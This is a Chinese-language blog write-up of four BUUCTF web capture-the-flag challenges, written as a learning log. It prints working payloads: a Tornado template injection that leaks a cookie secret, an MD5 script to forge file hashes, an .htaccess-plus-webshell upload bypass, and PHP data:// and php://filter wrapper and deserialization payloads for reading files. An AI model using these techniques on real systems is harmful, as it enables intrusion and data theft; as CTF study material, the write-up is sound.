Buuctf Web(21-24)

Buuctf Web(21-24)

21、easy_tornado

题目首页有三个链接,首先查看/flag.txt,可以看到flag在/fllllllllllllag中

image

查看/fllllllllllllag,显示Error

image

并且url变成了/error?msg=Error

image

查看/welcome.txt,内容为render

image

1
2
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

查看/hints.txt,这是一个加密方法,猜测 要构造filename=/fllllllllllllag&filehash=?

image-20230812150637958

在查阅资料后发现Error就是注入点

本题是模板注入SSTI模板注入 - 简书 (jianshu.com)

参考资料Tornado小记 – 模板中的Handler - 黑翼天使23 - 博客园 (cnblogs.com)

获取handler.settings环境变量:/error?msg={{handler.settings}}

得到cookie_secret

'cookie_secret': 'caffff81-323f-48da-8323-dc1530a0c95d'

image

编写脚本

1
2
3
4
5
6
7
import hashlib

def Md5(x):
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
return md5

print(Md5("caffff81-323f-48da-8323-dc1530a0c95d"+Md5("/fllllllllllllag")))

image

构造/file?filename=/fllllllllllllag&filehash=7d14388e78d85a8f1e726052e9d4dfbd

得到flag

image

1
flag{5673c2e4-27f7-4962-8d87-f449b8069952}

22、admin

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

猜密码

用123登陆成功了。。。

image-20230812171109196

在网上看大佬解题思路

注册

image

登录,右侧依次查看

image

在change password的源代码中看到一个被注释的链接

image

访问这个链接,内容已被删除,所以就没再看了

image

1
flag{88c07276-46ea-4e23-a50d-ce722b067e0f}

23、你传你🐎呢

查看大佬的博客后,了解到,该题需要上传两个文件

一、.htaccess文件,用来改变文件扩展名

image

上传该文件,抓包,修改Content-Type:image/png,send

image

二、木马文件,用来连接蚁剑

image

改名为a.png,上传,抓包,修改Content-Type:image/png,send

image

用蚁剑连接

URL:http://f532922c-3101-4cac-ad67-3e8b27c936fe.node4.buuoj.cn:81/upload/535c8c0c4ab4ecda962a1a3922bee31d/a.png

密码:a

没测试成功,试了很久没写出来,留着以后看

1

24、NiZhuanSiWei

从题目的php代码中可以知道需要用get方式传三个参数,text,file,password

有一个php文件

image

访问该文件,什么都没有

有一行代码说我们要传入一个文件,内容是”welcome to the zjctf”

image

要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf

为了绕过一些过滤,用base64编码构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

image

有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:/?file=php://filter/read=convert.base64-encode/resource=useless.php

完整payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码

image

解码

得到useless.php源码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php  

class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag();
$a->file="flag.php";
echo serialize($a);

找个在线运行PHP的网站,得到

image

构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image

查看源代码,得到flag

image

1
flag{6cb4bd76-2b5f-4876-9fe0-46f02e2d0062}